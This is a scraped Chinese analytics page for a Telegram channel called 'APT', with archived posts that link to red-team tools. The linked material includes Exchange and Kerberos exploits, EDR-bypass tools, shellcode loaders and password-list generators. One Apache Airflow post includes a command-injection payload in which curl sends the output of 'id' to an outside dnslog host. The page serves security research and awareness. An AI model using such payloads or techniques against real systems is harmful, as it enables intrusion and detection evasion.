ch
Feedback
APT

APT

前往频道在 Telegram

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

显示更多
俄罗斯40 381技术与应用7 769

📈 Telegram 频道 APT 的分析概览

频道 APT (@apt_notes) 英语 语言赛道中的 是活跃参与者。目前社区聚集了 16 245 名订阅者，在 技术与应用 类别中位列第 7 769，并在 俄罗斯 地区排名第 40 381 位。

📊 受众指标与增长动态

自 невідомо 创建以来，项目保持高速增长，吸引了 16 245 名订阅者。

根据 30 八月, 2026 的最新数据，频道保持稳定运转。过去 30 天订阅人数变化为 549，过去 24 小时变化为 10，整体触达仍然可观。

  • 认证状态： 未认证
  • 互动率 (ER)： 平均受众互动率为 39.89%。内容发布后 24 小时内通常能获得 18.07% 的反应，占订阅者总量。
  • 帖子覆盖： 每篇帖子平均可获得 6 477 次浏览，首日通常累积 2 934 次浏览。
  • 互动与反馈： 受众积极参与，单帖平均反应数为 26。

📝 描述与内容策略

作者将该频道定位为表达主观观点的平台：
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

凭借高频更新（最新数据采集于 31 八月, 2026），频道始终保持新鲜度与高覆盖。分析显示受众积极互动，使其成为 技术与应用 类别中的关键影响点。

16 245
订阅者
+1024 小时
+957 天
+54930 天
帖子存档
APT
APT
16 239
😈 OWASSRF — New Exploit Method for Exchange Bypassing ProxyNotShell Mitigations CrowdStrike recently discovered a new exploit method using CVE-2022-41080 and CVE-2022-41082 to achieve remote code execution (RCE) through Outlook Web Access. https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/ #owa #exchange #ssrf #proxynotshell

APT
APT
16 239
Repost from internet-lab.ru
🔐 MULTIFACTOR — особенности 2FA Существует неплохое решение для организации двухфакторной аутентификации в корпоративной среде под названием MULTIFACTOR. Входит в реестр российского ПО за номером 7046. Это не реклама, поскольку сегодня буквально в двух словах мы расскажем про то как этот второй фактор можно обойти в некоторых очень частных случаях. Бу-га-га. #security #special https://internet-lab.ru/multifactor_2fa_bug

APT
APT
16 239
💉 Dirty Vanity — A New Approach to Code injection & EDR bypass A POC for the new injection technique, abusing windows fork API to evade EDRs. Source: https://github.com/deepinstinct/Dirty-Vanity Research: https://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-Nissan-DirtyVanity.pdf #av #edr #bypass #injection #fork #api

APT
APT
16 239
⚔️ DirCreate2System Weaponizing to get NT AUTHORITY\SYSTEM for Privileged Directory Creation Bugs with Windows Error Reportin
⚔️ DirCreate2System Weaponizing to get NT AUTHORITY\SYSTEM for Privileged Directory Creation Bugs with Windows Error Reporting https://github.com/binderlabs/DirCreate2System #windows #privesc #directory #error #report

APT
APT
16 239
⚔️ Mangle — EDR Bypass This is a tool that manipulates aspects of compiled executables (.exe or DLL). Mangle can remove known
⚔️ Mangle — EDR Bypass This is a tool that manipulates aspects of compiled executables (.exe or DLL). Mangle can remove known Indicators of Compromise (IoC) based strings and replace them with random characters, change the file by inflating the size to avoid EDRs, and can clone code-signing certs from legitimate files. In doing so, Mangle helps loaders evade on-disk and in-memory scanners. https://github.com/optiv/Mangle #edr #bypass #inflate #certificate

APT
APT
16 239
🎁 HackTheBox — ProLab Discount HackTheBox is running a huge pro-lab discount this month. Use coupon code: "weloveprolabs22"
🎁 HackTheBox — ProLab Discount HackTheBox is running a huge pro-lab discount this month. Use coupon code: "weloveprolabs22" and waive the setup fee ($95) of any pro lab. Each pro lab is $27/m, which makes this over 75% off. The coupon expires at the end of the year. #hackthebox #prolab #discount

APT
APT
16 239
Repost from Ralf Hacker Channel
Довольно интересный анализ на примере Аваста Hooking System Calls in Windows 11 22H2 like Avast Antivirus. Research, analysis and bypass https://the-deniss.github.io/posts/2022/12/08/hooking-system-calls-in-windows-11-22h2-like-avast-antivirus.html #research #redteam

APT
APT
16 239
Repost from In4sek stories

APT
APT
16 239
💨 Apache Airflow RCE Tracked as CVE-2022-40127, the flaw affects Apache Airflow versions prior to 2.4.0. Apache Airflow coul
💨 Apache Airflow RCE Tracked as CVE-2022-40127, the flaw affects Apache Airflow versions prior to 2.4.0. Apache Airflow could allow a remote attacker to execute arbitrary commands via the manually provided run_id parameter, which exists in Example Dags of Apache Airflow. By sending a specially crafted request, an attacker could exploit the CVE-2022-40127 flaw to execute arbitrary commands. PoC: 1. Active example_bash_operator at DAGs 2. Run ID parameter {"test":"\";curl `id -u`.xxx.dnslog.cn;\""} #apache #airflow #dags #rce

APT
APT
16 239
💣 ProxyNotShell PoC ProxyNotShell this is a new exploit used in the wild takes advantage of the recently published Microsoft
💣 ProxyNotShell PoC ProxyNotShell this is a new exploit used in the wild takes advantage of the recently published Microsoft Server-Side Request Forgery vulnerability (CVE-2022-41040) and a second vulnerability that allows Remote Code Execution (CVE-2022-41082) when PowerShell is available on the Exchange Server. Research: https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend Nmap Checker: https://github.com/CronUp/Vulnerabilidades/blob/main/proxynotshell_checker.nse PoC: https://github.com/testanull/ProxyNotShell-PoC #exchange #proxynotshell #ssrf #rce

APT
APT
16 239
Repost from Ralf Hacker Channel
Новые сюрпризы в AD CS... Добавим технику ESC11🙈 https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/ #ad #pentest #redteam

APT
APT
16 239
💤 laZzzy This is a shellcode loader, developed using different open-source libraries, that demonstrates different execution
💤 laZzzy This is a shellcode loader, developed using different open-source libraries, that demonstrates different execution techniques. Features: — Direct syscalls and native functions; — Import Address Table (IAT) evasion; — Encrypted payload (XOR and AES); — PPID spoofing; — Blocking of non-Microsoft-signed DLLs; — etc. https://github.com/capt-meelo/laZzzy #maldev #loader #cpp #redteam

APT
APT
16 239
🥷 PNG Steganography Hides Backdoor Malware authors rely on LSB encoding to hide malicious payload in the PNG pixel data, mor
🥷 PNG Steganography Hides Backdoor Malware authors rely on LSB encoding to hide malicious payload in the PNG pixel data, more specifically in LSB of each color channel (Red, Green, Blue, and Alpha). https://decoded.avast.io/martinchlumecky/png-steganography/ #maldev #steganography #png

APT
APT
16 239
🛠 DynamicSyscalls This is a library written in .net resolves the syscalls dynamically (Has nothing to do with hooking/unhooking) https://github.com/Shrfnt77/DynamicSyscalls #maldev #csharp #syscall #library

APT
APT
16 239
Repost from Offensive Xwitter
😈 [ ShitSecure, S3cur3Th1sSh1t ] I really like DeepL for translations. But I also like the fact, that when using the Desktop
😈 [ ShitSecure, S3cur3Th1sSh1t ] I really like DeepL for translations. But I also like the fact, that when using the Desktop APP is makes use of an signed executable named CreateDump.exe in %APPDATA%, which can dump e.g. LSASS 🧐🤩 🐥 [ tweet ]

APT
APT
16 239
⚙️ Psudohash — Password List Generator For Orchestrating Brute Force Attacks This is a password list generator for orchestrat
⚙️ Psudohash — Password List Generator For Orchestrating Brute Force Attacks This is a password list generator for orchestrating brute force attacks. It imitates certain password creation patterns commonly used by humans, like substituting a word's letters with symbols or numbers, using char-case variations, adding a common padding before or after the word and more. https://github.com/t3l3machus/psudohash #wordlist #password #generator #bruteforce

APT
APT
16 239
Bash Aliases for CrackMapExec Modules CrackMapExec has one of the coolest features - "Audit Mode". This features makes life e
Bash Aliases for CrackMapExec Modules CrackMapExec has one of the coolest features - "Audit Mode". This features makes life easier for a pentester by masking the password in the CME output. However, most often a pentester needs this functionality only as a one-time action, take a screenshot and disable it. That's why I wrote a simple Bash Alias that allows you to turn "Audit Mode" on and off with a single command. As a bonus, I've implemented an Alias for the bh_owned module. This can be useful if you haven't received a BloodHound dump yet and a module error is annoys you. Just include these lines in your ~/.zshrc or ~/.bashrc and enjoy. Aliases: alias CMEOwned='awk '\''/bh_enabled/{ if ($3=="False") {$3="True"} else {$3="False"}; {if($3=="True") {print "\033[1;92m" "[+] BloodHound Owned: "$3} else print "\033[1;91m" "[-] BloodHound Owned: "$3}} {print > FILENAME }'\'' /root/.cme/cme.conf' alias CMEAudit='awk '\''/audit_mode/{ if ($3=="") {$3="*"} else {$3=""} {if($3==""){print "\033[1;92m" "[+] Audit Mode: Enable"} else print "\033[1;91m" "[-] Audit Mode: Disable"}} {print > FILENAME }'\'' /root/.cme/cme.conf' #cme #bash #alias #bloodhound #audit #masking

APT
APT
16 239
⚔️ Katana — Web Crawler A next-generation crawling and spidering framework. Features: — Standard/Headless — Customizable Conf
⚔️ Katana — Web Crawler A next-generation crawling and spidering framework. Features: — Standard/Headless — Customizable Config — JavaScript parsing — Scope control https://github.com/projectdiscovery/katana #web #crawler #tools #bugbounty

APT
APT
16 239
Repost from Offensive Xwitter
😈 [ an0n_r0, an0n ] here is the proper way to RC4 encode with OpenSSL compatible with SystemFunction032 (use the raw hex key
😈 [ an0n_r0, an0n ] here is the proper way to RC4 encode with OpenSSL compatible with SystemFunction032 (use the raw hex key instead of passphrase). awesome shellcode exec method from @ShitSecure 👍 https://t.co/renlMV0rsE 🔗 https://s3cur3th1ssh1t.github.io/SystemFunction032_Shellcode/ 🐥 [ tweet ][ quote ]

APT
APT
16 239
🔑 Abuse Kerberos RC4 (CVE-2022-33679) This blog post goes into detail on how Windows Kerberos Elevation of Privilege vulnera
🔑 Abuse Kerberos RC4 (CVE-2022-33679) This blog post goes into detail on how Windows Kerberos Elevation of Privilege vulnerability works and how to force Kerberos to downgrade the encoding from the default AES encryption to the historical MD4-RC4. The vulnerability could allows an attacker to obtain an authenticated session on behalf of the victim and also lead to arbitrary code execution. Research: https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html Exploit: https://github.com/Bdenneu/CVE-2022-33679 #ad #kerberos #rc4 #exploit